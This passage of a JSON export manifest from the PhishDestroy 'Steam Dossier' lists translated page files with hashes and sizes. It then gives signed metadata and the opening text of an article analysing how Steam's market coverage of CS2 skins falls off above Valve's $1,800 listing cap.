          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/investigation_part2.content.json",
          "sha256": "7771f11defa377a2835ed2667b24ca26ec8dd5625bc60aa09b2e71abaa8acb60",
          "bytes": 31046
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/legal_analysis.content.json",
          "sha256": "efd9214d5450e17904828033216768eadb887418ceaafd42c352b30caf7ad0c3",
          "bytes": 27090
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/license_disclaimer.content.json",
          "sha256": "dbb0b9c10a2873f1cfa756e6972418a0fd2e1d64071e38a72ca2ca9d03ede366",
          "bytes": 39738
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/market_economics.content.json",
          "sha256": "a4e2aa8e6526823cc25f620058f74628e449e52cf8e589cc760eaf6db6e9e7de",
          "bytes": 22263
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__index.content.json",
          "sha256": "790a793c99fe3127aa516e0395ae0feb5dcc619597133f0cb6bb9b0e782862d5",
          "bytes": 10204
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__network.content.json",
          "sha256": "aa634b1031b7234b7ae70c1c42e4b51ac6fc8e4531afe318ec23f0f3fb970c20",
          "bytes": 3326
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "588456884dc0ad6d3989a8d4ffb1a4a80e0143237c2521738f886b2a418ca3e5",
          "bytes": 5329
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "7baa3899793f073e36bd1f625ed7ece67c21d9c62cd9096fec677bd7b04a7706",
          "bytes": 6841
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/regulatory_act_print.content.json",
          "sha256": "19b45f4484a14c5a078df14d99949df98cb57f812181627b651bd1e6a502bae8",
          "bytes": 33885
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/security_timeline.content.json",
          "sha256": "2651b765501ad86f4f69902e69913327d95a1c58d54f5230372be25359d493f2",
          "bytes": 23080
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/skin_atlas.content.json",
          "sha256": "3845a895e5018416edb6d736cc8f176614db7e60b588719cea6dfb3217a93322",
          "bytes": 48369
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/social_graph.content.json",
          "sha256": "23f5fbadbf4971265a2413c6a38d6eb0941c9792fe71982fbe4e13414cadbf88",
          "bytes": 15312
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/steam_enforcement_evidence.content.json",
          "sha256": "f0707a26ab5c0cd8b165ec3f2096287561f27331bbb63a271e6be696f7b4e96d",
          "bytes": 70341
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/steam_evidence_archive.content.json",
          "sha256": "8d715464fa575c0925fcf0239deac2caaab35fb36e4d8f6ac84b40bdd8c3311a",
          "bytes": 11706
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/support_canned_refusals.content.json",
          "sha256": "5e6dd7477d1ca7e45fc269580ffd67b4a69f374928ac68030fb115e2e8d70106",
          "bytes": 8571
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/valve_scandals_registry.content.json",
          "sha256": "ba8d980f8881d0ff5d7a22400877742f099700d7486fa2dd057d7de4ebd2038b",
          "bytes": 16740
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/card_economy.content.json",
          "sha256": "b23b05e345e37c6dc8be93684585b9ca81c020d1a96088ca866b0071219fd507",
          "bytes": 85235
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/elite_skins.content.json",
          "sha256": "33651d6f712be0d81847607b227bcbd9a196fda43ce8cc7a9b20a362d6fb16d1",
          "bytes": 26132
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/enforcement_audit.content.json",
          "sha256": "6f83588beaabc55782e249e3c2e7d0b7b0752a782a5553747a2227705cc6d664",
          "bytes": 42577
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/index.content.json",
          "sha256": "faec1444e6bfc9ebad0ab3108e9df3f953f0ebb39930863ab625f898628d2ca0",
          "bytes": 383070
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/investigation_part2.content.json",
          "sha256": "bd720d755c4ea62e29971bf96c6fbaf0faf0d4bf56121215bf2717fcf26c249f",
          "bytes": 31364
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/legal_analysis.content.json",
          "sha256": "be2537569786760027e2ccc88af2c2f62a0c908b1483b01f801ebf86de03ac5f",
          "bytes": 27016
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/license_disclaimer.content.json",
          "sha256": "4f4edaf236bd387c626242a81e68287c8773a53d1b3e465f22d6d363913e5b52",
          "bytes": 40376
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/market_economics.content.json",
          "sha256": "145f074aa942548079a23a56535f270c7b8d620bf7302373b50ce702e5555c4b",
          "bytes": 22377
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__index.content.json",
          "sha256": "24ff8e271d8116376877e1cb7b1da0b4b170dfecc10da09e07e2f86da0190f63",
          "bytes": 10026
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__network.content.json",
          "sha256": "476a6fa54ed753e3fb269f8ad073ec2bca0cf33249906dfbf51cd5e5ae4a0524",
          "bytes": 3321
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "1f0cbf058158919aecb27c837b4fc646bd530a6b9bb47c508b6886a1555e8003",
          "bytes": 5365
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "4cab07d839b335676c2a369a3eb706ca01e30c06a77bb150462da139262f553a",
          "bytes": 6798
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/regulatory_act_print.content.json",
          "sha256": "31647c2d638d6d56fb60ebf68115679909f07942c56575f66dd93b3ebf51f5a3",
          "bytes": 33798
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/security_timeline.content.json",
          "sha256": "031af631a2af7987c2e2d1100853b6579592e0d59c011a0c541531e057496688",
          "bytes": 23111
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/skin_atlas.content.json",
          "sha256": "a4d6c375b485d87aa526631e75fe9d501b8b466dccfd4bf946e123c1d96f763d",
          "bytes": 49042
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/social_graph.content.json",
          "sha256": "0f06d388c37d76264d6c723afa1ab9520be36407f40f3d010ae4c62c0b6da13c",
          "bytes": 15398
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/steam_enforcement_evidence.content.json",
          "sha256": "cfcfbd029929ff052ccb516bce8005fb43170d7239bf417f010d782ce01bdccd",
          "bytes": 70477
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/steam_evidence_archive.content.json",
          "sha256": "a63a527fbcff0524ca7d19f053b09cf3616b9608b7ead14781242c972a4c9b34",
          "bytes": 11806
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/support_canned_refusals.content.json",
          "sha256": "fc2575297669643daddf3744fbf3d7a961e13a465fcc3ef671549a82f17fd881",
          "bytes": 8735
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/valve_scandals_registry.content.json",
          "sha256": "c447205256f269679287ffe12d080edbffd8535c8185094f85d54cf5343586a1",
          "bytes": 17355
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/card_economy.content.json",
          "sha256": "4389ab5a03dac191500db1ead2311cca957f3edcf46999647dc847d408417801",
          "bytes": 132531
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/elite_skins.content.json",
          "sha256": "5ed5f1a722a05b609092d673b9ce642cd3a916e9bcf81b6769c49460739baddc",
          "bytes": 37525
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/enforcement_audit.content.json",
          "sha256": "a647b4c36373c6811017a9fef098f798af41d2dd7589b41eb5a6409affc697cb",
          "bytes": 66969
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/index.content.json",
          "sha256": "7f5585b0b2dad17eff8c81cf5d2c2e5da248720dedfcd6118337e3b13020dd22",
          "bytes": 542708
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/investigation_part2.content.json",
          "sha256": "bc22965d0426ba46d8e1bd8fbea14981b0bb7af6a0f51fb8159ab70fec740344",
          "bytes": 44760
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/legal_analysis.content.json",
          "sha256": "f56c6e2023150cf606943be8a04acd3d4060d2c5a0369c7195611f8e5b90b280",
          "bytes": 41598
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/license_disclaimer.content.json",
          "sha256": "b4db00e58fd8700d9cca5a3dee7bf37d0ca4c58d9ddf9964e371fb85b52027ad",
          "bytes": 61026
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/market_economics.content.json",
          "sha256": "a10497ad8d5724b3fd327b6298a32412f7ddb382e1830d6d1dcc5c80f515926d",
          "bytes": 32608
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__index.content.json",
          "sha256": "c45026d4fc467c5a0dafba6baa95948f937b25adeba71fa92f3cdb927c64e2fe",
          "bytes": 14345
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__network.content.json",
          "sha256": "c22f5d7a47eebd009c70ad5082b1208e250469a184cd08f2e06fff3b55b8198e",
          "bytes": 3794
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "8a2453d97e108cb632abc93485357630df4228c0cbf212338ce344660dabbbf3",
          "bytes": 6853
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "923aa73e4c171ce3eecaac858f7c94544a6a312ec611867eb41bf7b8921b16f8",
          "bytes": 8661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/regulatory_act_print.content.json",
          "sha256": "0cc127ac7df577e4fe26b06eaa3c1365e54ca6c6585f8f24ec1a4c84d6cf4f98",
          "bytes": 39858
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/security_timeline.content.json",
          "sha256": "754638fd023dc0ef4df50b80d6e83ba3247579063e9ddf3446335bcfcbcf8ed7",
          "bytes": 33442
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/skin_atlas.content.json",
          "sha256": "76f050dece19e7e67b4b2bbfeca46253db9ca0a586d553dfb250aa22dd83fdc6",
          "bytes": 62204
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/social_graph.content.json",
          "sha256": "8e3994a6d22ece97c6373a2c041e460b5803bd702ef04bc14bcb6cd7f55db334",
          "bytes": 16971
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/steam_enforcement_evidence.content.json",
          "sha256": "236bcd790b2ef126c939f561fcb1e7e3906679380d9fe45490636f62c60e0a92",
          "bytes": 73337
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/steam_evidence_archive.content.json",
          "sha256": "20967bc673650eef1c2cea231aafcd9778fdbb143285d4ab49857b6867c46b28",
          "bytes": 14521
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/support_canned_refusals.content.json",
          "sha256": "c8f7dda5ac07c3654355272125272b396173de463891168120db8df06a4f6579",
          "bytes": 12129
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/valve_scandals_registry.content.json",
          "sha256": "c7ec099e177b9200d98c271c3970fa1f33b263f48a82f7759f67cbb339ea46e6",
          "bytes": 18535
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/card_economy.content.json",
          "sha256": "ee4426d6c8dd2cb5b998587481c3361f63de3c6b5a214fa84a4cf9707e946e4d",
          "bytes": 106783
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/elite_skins.content.json",
          "sha256": "67b4539e8b05fedb12239b6c16665f87b1a8038d458f64b93cae285345a4c083",
          "bytes": 31050
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/enforcement_audit.content.json",
          "sha256": "abb2c20872bb38e36e8711f34344731dd44def0bc7f746c191cbd5f85baa7c77",
          "bytes": 54319
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/index.content.json",
          "sha256": "ab0ed51eeaf38803ab33166403d71c52f602e34bc70705120198810d960921ec",
          "bytes": 445487
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/investigation_part2.content.json",
          "sha256": "2b46717a2206465d7dfdf18a71ed4a4ac05f25d8e86ee34d29d0a58766e367f1",
          "bytes": 37921
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/legal_analysis.content.json",
          "sha256": "e57365887a795c20f091c169e1f7da1901927101b39a7d54877cc7e4498c2ac6",
          "bytes": 33337
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/license_disclaimer.content.json",
          "sha256": "dfda48c6fbb544ad109df48dce0f6869775bb85d780255b97adfda0cfe8af5b8",
          "bytes": 51840
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/market_economics.content.json",
          "sha256": "9a94d5b910f0959855feaa6ea15e3f5320520b14255dd52cb67bff07f1bb6cf9",
          "bytes": 26879
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__index.content.json",
          "sha256": "65f00fc9f951ac142e52d0d1192ec12ede100b28da037b5794a6569e47c5bcf6",
          "bytes": 11847
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__network.content.json",
          "sha256": "22e3e46f514f0bbbd1c46fea271db8ebd138519a8a2f7b48419a2e1ceefe95ff",
          "bytes": 3467
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "a142f271a5cf5ae9d1e8717202c0845e920d23eff01927c4e3cea64a6d6f3e50",
          "bytes": 5840
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "2b336e41fd9116c7509846fb21506a329384950955193cbbb1c06e2b7d7824b3",
          "bytes": 7679
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/regulatory_act_print.content.json",
          "sha256": "d086b8f0bdb45daff35be1f617a1213a4c934a4615d3f0f5599ff069250fb7fe",
          "bytes": 36205
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/security_timeline.content.json",
          "sha256": "a6ed93042b1144147c8279ed9703c76b3f8c92c81584df72533c009394fa07d1",
          "bytes": 27094
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/skin_atlas.content.json",
          "sha256": "25f02c94f73d2249bb218442e7c7fbb0f281e6305a976b5adb3f875673ea82e4",
          "bytes": 55130
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/social_graph.content.json",
          "sha256": "7c31bcf692ed4eb5138ac0f6694383dfafab5fbe55f83aa82483110beb1c52a5",
          "bytes": 16042
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/steam_enforcement_evidence.content.json",
          "sha256": "b0a2e760ed9c90d40a537ef65305910b1375d310324a9a7f53573e0b5f08c3dc",
          "bytes": 71634
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/steam_evidence_archive.content.json",
          "sha256": "152c65be511db5a42b9185c48efc6c0ddbbe51fd920236349cf74a2c4d6c09a0",
          "bytes": 12811
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/support_canned_refusals.content.json",
          "sha256": "18913168ad8976b6d655b66352eb8afca6fe50b26fc2898414ba622c26be4da9",
          "bytes": 10833
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/valve_scandals_registry.content.json",
          "sha256": "e196cbe431b7416c9440655ba2e79b9996516184e60f75e37baec7bd3ac4e348",
          "bytes": 17503
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/card_economy.content.json",
          "sha256": "e4d17c7a0199713c12f7c0277a7e06a8a38309066e7ce190ce88be114749add1",
          "bytes": 73069
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/elite_skins.content.json",
          "sha256": "fbd7c1191ae8eb58a04edbc234dd629362cdde90bb1af235f3850edcd4d86041",
          "bytes": 22473
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/enforcement_audit.content.json",
          "sha256": "54c2c0ea52017b1d0eae2ce31083a4742b1a941b48ff5f94144cd9243cdbded3",
          "bytes": 35997
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/index.content.json",
          "sha256": "aa39ec75f5ff7aee77571d430d71fafc79ecdb15ab4f70977c6d6ef09be9599d",
          "bytes": 336502
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/investigation_part2.content.json",
          "sha256": "4e6cf5c2deeb964ac66e9e3ae6fce2340cadf2d6952f990bae1c455be8ebb622",
          "bytes": 27950
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/legal_analysis.content.json",
          "sha256": "532b8f9904fb0bb6659945cd9e4b670924fbdc3b88fb151f35ebad1196e8ddaa",
          "bytes": 23103
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/license_disclaimer.content.json",
          "sha256": "8b08ce34d7baf65b61667afed93f83e03b37b0b66211f426459575051621751b",
          "bytes": 35076
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/market_economics.content.json",
          "sha256": "aaa3ebf289a0170775e0bb31d2ff4ad7c32e58bbc42d78e328344d2987c1d55c",
          "bytes": 19091
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__index.content.json",
          "sha256": "46a6e27442e49d959b6598f01b1c4a4f0f9b77cdd2d7c3d4c39daf410107b472",
          "bytes": 8632
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__network.content.json",
          "sha256": "cf008d927fb161d21a6ebd932610714b83d2e4347a94577d9178f6676b1527d5",
          "bytes": 3200
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "7876c5414f76d999681ff296934043a00477331c90f6066d619105cabf9c6dca",
          "bytes": 4802
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "7aebc4e12f5657b2b1263f5e8f892a94527f2d05ef1d5622cb4d376f1298a748",
          "bytes": 6215
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/regulatory_act_print.content.json",
          "sha256": "6d0656c771f0378a6de969acf2aecedfc61c050f0e832c0b29fbd0d1add6e278",
          "bytes": 32180
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/security_timeline.content.json",
          "sha256": "889b045ddade897507b840a301f31513057617e20809787b860ea33f64a9bf77",
          "bytes": 19034
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/skin_atlas.content.json",
          "sha256": "85e9651748ba273238c35a3111cd7cbca074bc89c5b2159c67e47da8796b8e45",
          "bytes": 44987
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/social_graph.content.json",
          "sha256": "22a2ce1fbdfa908a6dc247c3b1bda1d1abe33b86b1c2f05db3a2e634caee02d6",
          "bytes": 14931
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/steam_enforcement_evidence.content.json",
          "sha256": "0c8bfc4c6ff4155ab8eabce80e7dbf999ec8d86d98287511af8e6a76aa7efa96",
          "bytes": 69492
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/steam_evidence_archive.content.json",
          "sha256": "8d670ca3927f8b29c22c6b45c1e8075d306bececed059e364072c76e61d0f54f",
          "bytes": 10616
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/support_canned_refusals.content.json",
          "sha256": "d7cf714fd52488fea6e629987b312071da5d33e56850b8c51ab1e3087fb1ae9e",
          "bytes": 8090
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/valve_scandals_registry.content.json",
          "sha256": "eb0d781432ff820e770aa351f3e501d7565fff79464183c3e056a049ecc42a6f",
          "bytes": 16062
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ar.content.json",
          "sha256": "16dc63c692ac9fabd81e837ffe1f0714e76438373b103b35c8755deb3f63d247",
          "bytes": 918113
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-de.content.json",
          "sha256": "93cb963cd618cf8d5aa5c9128c49c3cafcf003344851f96857d9bb6519899686",
          "bytes": 731746
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-en.content.json",
          "sha256": "17835eec76af4f50f090ff14a96e7b5f832ccad3d09bec96b6255d7b27c8eb7b",
          "bytes": 630915
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-es.content.json",
          "sha256": "fe0c570884fd48a819dc8be517d225ed42951d95d4c724b421e9cb9426b6e4a5",
          "bytes": 739854
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-fr.content.json",
          "sha256": "30979694a7140fe984fdaa25bef0cfb66998eb49eb62776cee1828dfe95e8918",
          "bytes": 763447
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-hi.content.json",
          "sha256": "006554990778e7f533e24bbc490f27a0359b5fccfb75d34f615caeebea58e0e3",
          "bytes": 1185444
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-id.content.json",
          "sha256": "7aa356f051f92b927379b4a0c95ccdde59b0bec549ce1d394f77e9519a939c35",
          "bytes": 722525
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-it.content.json",
          "sha256": "6b9ce0421526dc19f1f6c46474a88f3e86ad1dc3a6a1f80e74c085ca09b5ed8b",
          "bytes": 735777
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ja.content.json",
          "sha256": "51acbc28176c6b81d48f47dcc85aecffea11a1139510a84a81fc282432284b20",
          "bytes": 828878
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ko.content.json",
          "sha256": "beef628580e682adac0aa5332a25c90e248f781a06adcf7437f26bddb73c3a3e",
          "bytes": 759559
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-nl.content.json",
          "sha256": "8bb8b523d0b384dee93a1b224b3e64eca773ed0787f93ec19c9669ae1d439e4b",
          "bytes": 720036
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-pl.content.json",
          "sha256": "dfb277c7ab1766e368202d3f20a246e27699a012f10526da0656cbaef1f76397",
          "bytes": 747040
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-pt.content.json",
          "sha256": "d57cee85f96fc69d87b28e5c62dc0b4923c3eb054460ebe5d92cf5df46f40877",
          "bytes": 724517
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-tr.content.json",
          "sha256": "328de00ea879b9fc76eee659dceff72e6cdd0539b7f5556212c9469bbc8f6c95",
          "bytes": 726899
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-uk.content.json",
          "sha256": "389dce39c2f1ac33a223eeb394b74d7df77fb57c28c7b0f9da7bacbf8f95b6e0",
          "bytes": 1051974
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-vi.content.json",
          "sha256": "0e7c8e2a0b0e1bf9e4f89c6a9548b95297e6bcc22790d2f15643c8f16ccd9c60",
          "bytes": 866445
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-zh.content.json",
          "sha256": "fb6e212706a6dc0e77d46103f01c0ff727dd0f0264eb2b1182f419a82e100c7a",
          "bytes": 633883
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
          "sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb",
          "bytes": 3191
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/steam-api-scam-exposed-release.json",
          "sha256": "90f20168e17eac92c5a35d2c132caaade7415ecbcf4068dbd6b8caf4e5ba8fa4",
          "bytes": 1439
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/steam-shadow-economy-release.json",
          "sha256": "95c1257ff90699381022ca1e5c161a5b57b04bad4da191008f0aa431df5c269a",
          "bytes": 1486
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/valve-profits-from-stolen-accounts-release.json",
          "sha256": "d59c1862da4211b0cb839271351bd8698d8867375e63b34205fb211e6b16bc3b",
          "bytes": 1469
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "skin_atlas",
      "language": "en",
      "title": "The atlas of what Steam cannot carry — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/skin_atlas",
      "source_file": "steam_dossier/skin_atlas.html",
      "source_html_sha256": "cd75dd6700f99689c09dd164977765731083f8aa3094db9e578b0bbd4e65c4f0",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [
          {
            "kind": "visual_catalogue",
            "label": "All 419 categories, with the object each price refers to",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas#gallery"
          }
        ],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "skin_atlas.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/skin_atlas.pdf",
        "sha256": "37d24d44697697ecfe9dcfcc8b43f51602553b1936d6ed7a09321a5dc4245b7a",
        "bytes": 364315,
        "pages": 18
      },
      "integrity": {
        "signed_object": "skin_atlas.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/skin_atlas.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/skin_atlas.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nExhibit IV-B / the price ladder / 2026-09-23\nSkin Price-Ladder Atlas — The Liquidity Cliff\n\nValve's market stops where the money starts.\n\nWHAT THIS SECTION PROVES\n\nThis visual atlas analyzes 30,266 item categories across five marketplace catalogues, measuring market coverage above and below Valve's listing threshold. Below the $1,800 cap, Steam hosts 95.3% of active categories; immediately above it, official coverage collapses to 1.9% (with 0.0% coverage across corroborated assets). This demonstrates an abrupt, structural liquidity cliff where Valve delegates high-value transaction discovery to outside platforms while retaining full control over underlying asset custody.\n\n← Back to Executive briefing\n\nEvery CS2 item with a live price on five marketplaces was placed in a price band by its cheapest ask, and each band was measured for one thing: what share of it Valve’s own Community Market still carries. Below Valve’s listing cap the answer is 95.3%. Above it, the answer is 1.9%. The drop is not gradual and it does not fall where demand falls — it falls exactly at the published rule. Of the 248 item categories that two or more marketplaces independently price above the cap, 100.0% have no Steam listing at all.\n\nSee the cliff ↓Open the gallery of 419 itemsMethod and limits\n30,266item categories measured\n95.3%of sub-cap items carried by Steam\n1.9%of above-cap items carried by Steam\n$78.6Mfloor value of the corroborated set\n01 / the measurement\nThe cliff lands on the rule, not on demand\n\nEach of the 30,266 item categories below is placed in a band by its cheapest live ask across BUFF163, CSFloat, Skinport, YouPin 898 and C5Game, and only items quoted on two or more of them are counted, so no single optimistic listing can invent a band member. The upper panel is the share of each band that Valve’s own market still carries.\n\nShare of each price band carried by the Steam Community Market\nupper: steam coverage · lower: items per band, log 